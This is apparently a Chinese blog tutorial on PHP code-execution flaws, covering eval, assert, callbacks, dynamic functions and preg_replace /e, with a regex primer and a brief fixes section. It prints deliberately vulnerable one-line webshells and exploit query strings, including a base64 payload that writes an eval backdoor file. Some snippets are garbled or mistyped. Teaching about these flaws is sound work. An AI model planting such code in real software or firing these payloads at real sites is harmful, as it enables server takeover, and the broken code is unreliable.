0x00代码执行原理

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。

很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

通常会使用escapeshellarg对参数进行处理,但在低版本的PHP库函数中该函数存在漏洞(原因:Windows上未对反斜杠进行过滤),需要注意。

0x01 挖掘思路

1:用户能够控制函数输入

2:存在可执行的危险函数

0x02 常见危险函数

1:eval和assert函数

2:preg_replace函数

3:回调函数

4:动态函数执行

0x03 eval和assert函数代码实例

<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);//eval($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>

这里的话system可以执行代码,对来自cmd中获的变量没有过滤,导致代码执行。

exp:
?cmd=phpinfo();

0x04 回调函数

代码:

<?phpfunction callback(){  
$x = $_GET['cmd'];  
eval($x);//没做限制
}c
all_user_func(function 'callback',$x);//回调了函数
>?
常见回调函数:call_user_func()  call_user_func_array() 
array_map()等

上面代码分析一下,eval危险函数被封装在了callback全局函数中,我们在最后使用了

all_user_func(function 'callback',$x);

回调危险函数最后达到代码执行

还有一种简单的回调:

<?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?>

我们没有封装,而是直接使用了assert函数来进行回调,是的cmd中传入的代码执行。

 call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

0x05 动态函数执行

1:定义一个函数

2:将函数名(字符串)赋值给一个变量

2:使用变量名代替函数名动态调用函数

代码:

<?php
$_GET['a']($_GET['b']);//接受get请求a的参数作为一个函数,b是作为a函数里的参数
?>
exp:

?a=assert&b=phpinfo()

代码2:

<?php
$foobar = $_GET['foobar'];
$dyn_func = create_function('$foobar', "echo $foobar;");
$dyn_func('');
?>
当提交http://127.0.0.1/create_function.php?foobar=system%28dir%29时,执行dir命令

0x06 正则表达式

代码:

<?php
//普通字符作为原子
$pattern = '/abc/';
$str = 'abcdefghijklmn';
preg_match_all($pattern,$str,$res);//以数组形式存储
var_dump($res);//会以数组形式显示出来
?>

代码2:

//特殊符号的字符作为原子
$pattern = '/\[php\]/';
$str = '[php]12345';
preg_match_all($pattern,$str,$res);
var_dump($res);

结果:

这里特别说明一下,我们要对php转义一下,加上\如果不加:



$pattern = '/[php]/';
$str = '[php]12345';
preg_match_all($pattern,$str,$res);
var_dump($res);

这样就不算是这种模式匹配了

代码3:

//通用字符作为原子
$pattern1 = '/\d/'; //0-9
$pattern2 = '/\D/'; //a-zA-Z
$str = '123132asaaaaa222';
$preg_match_all($pattern2,$str,$res);
var_dump($res);

代码4:

//自定义原子
$pattern1 = '/[aj]sp/'; //匹配[aj]中任意一个字符作为原子的asp jsp
$str = 'jjjjspspspsp';
preg_match_all($pattern1,$str,$res);
var_dump($res);

代码5

//限定符
$pattern1 = '/go*gle/'; // *匹配掐面出现原子次数0次 1次或多次
$pattern2 = '/go+gle/'; // +匹配前面出现的原子1次或多次
$pattern3 = '/go?gle/'; // ?匹配前面出现的原子0次或1次 $str = 'google';
preg_match_all($pattern3,$str,$res);
var_dump($res);

这里限定符还有贪婪模式非贪婪模式,这里我大一就已经学过了,就不再提了。

代码6

//边界限定
$pattern1 = '/^abc/'; // ^匹配输入字符开始的位置,必须是abc形式的开头
$pattern2 = '/abc^/'; // ^匹配输入字符结尾的位置,必须是abc形式的结尾
$pattern3 = '/^abc$/'; // ^$只匹配某字符
$str = 'abc2342dfads';
preg_match_all($pattern3,$str,$res);
var_dump($res);

代码7


//反向引用
$pattern = '/\d{4}(-)\d{2}\\1\d{2}/'; // \\1代表第一个()缓冲区
$str = '2020-01-28';
preg_match_all($pattern,$str,$res)
;var_dump($res);

0x07 preg_replace

mixed preg_replace(mixde $pattern,mixed $replacement,mixed $subject[,int $limit = -1[,int &$count]])

$pattern 正则匹配的内容 $pattern存在/e模式修正符修饰,允许代码执行

$replacement 用于替换的字符串或字符串数组

$subject 要进行搜索和替换的字符串或字符串数组

代码:

<?php
//?cmd=phpinfo()
@preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
?>

这里我们需要注意2点:

/e模式

必须匹配到正则才能代码执行

代码2:

<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?>
**exp:

?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))**

最终执行命令"))?>

0x08 代码执行修复

尽量不要执行外部的应用程序或命令

使用自定义函数或函数库来替代外部应用程序或命令的功能

使用escappeshellarg函数来处理命令的参数

使用sare_mode_exec_dir来指定可执行的文件路径

将执行的参数做白名单限制,在代码或配置文件中限制某些参数

最新文章

  1. Guid的使用
  2. Redis五种数据结构简介
  3. maven 生成可执行的jar文件
  4. codeforces 732E(贪心)
  5. XtraBackup原理解读
  6. lucene.net 使用过程中的 几个注意事项(含termquery 和QueryParser 的区别)
  7. Unity给力插件之ShaderForge(二)
  8. Deep Learning 学习随记(六)Linear Decoder 线性解码
  9. PXE简要配置过程
  10. iOS 10 的一些变化
  11. 卸载了PL/SQL Developer,说一下与Toad for Oracle的对照
  12. 关于Delphi XE2的FMX的一点点研究之消息篇
  13. oracle 树形表结构查询 排序
  14. 高效使用VSCode的9点建议
  15. 安装.Net Standard 2.0, Impressive
  16. Ubuntu16.04搜狗输入法无法输入中文
  17. poj2114 树分治(点分治)
  18. Metasploit AFP爆破模块afp_login
  19. AppStore 添加回复
  20. 【设计模式】——抽象工厂Abstract Factory

热门文章

  1. window下Apache Jmeter基础用法
  2. ACM-挑战题之排列生成
  3. ELK之 elasticsearch ES集群 head安装
  4. Web基础之日志
  5. Adapter之ArrayAdapter以及监听器设置
  6. jQuery 里的 Promise
  7. Sublime Text3 python自动补全问题——Sublime Text3安装Anaconda插件
  8. 十一、JavaScript之两种注释方法
  9. 吴裕雄--天生自然C++语言学习笔记:C++ 类 &amp; 对象
  10. Elasticsearch 使用集群 - 删除索引